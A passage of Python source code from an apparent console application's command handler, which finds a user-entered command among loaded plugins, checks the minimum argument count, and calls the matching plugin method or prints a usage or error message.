                        self.local_storage.get("loaded_plugins")[plugin],
                        "commands"):
                    for label in self.local_storage.get(
                            "loaded_plugins")[plugin].commands.keys():
                        if commands[0] in self.local_storage.get(
                                "loaded_plugins")[plugin].commands[label].keys(
                                ):
                            command_object = self.local_storage.get(
                                "loaded_plugins")[plugin]
                            command = command_object.commands[label][
                                commands[0]]
                            self.parse_and_execute_command(
                                commands, command, arguments, command_object)
                            return True
        return False

    def parse_and_execute_command(self, commands, command, arguments,
                                  command_object):
        if hasattr(command_object, commands[0]):
            if (len(commands) - 1) < command['MinArgs']:
                self.badges.output_usage(command['Usage'])
            else:
                getattr(command_object, commands[0])(len(arguments), arguments)
        else:
            self.badges.output_error("Failed to execute command!")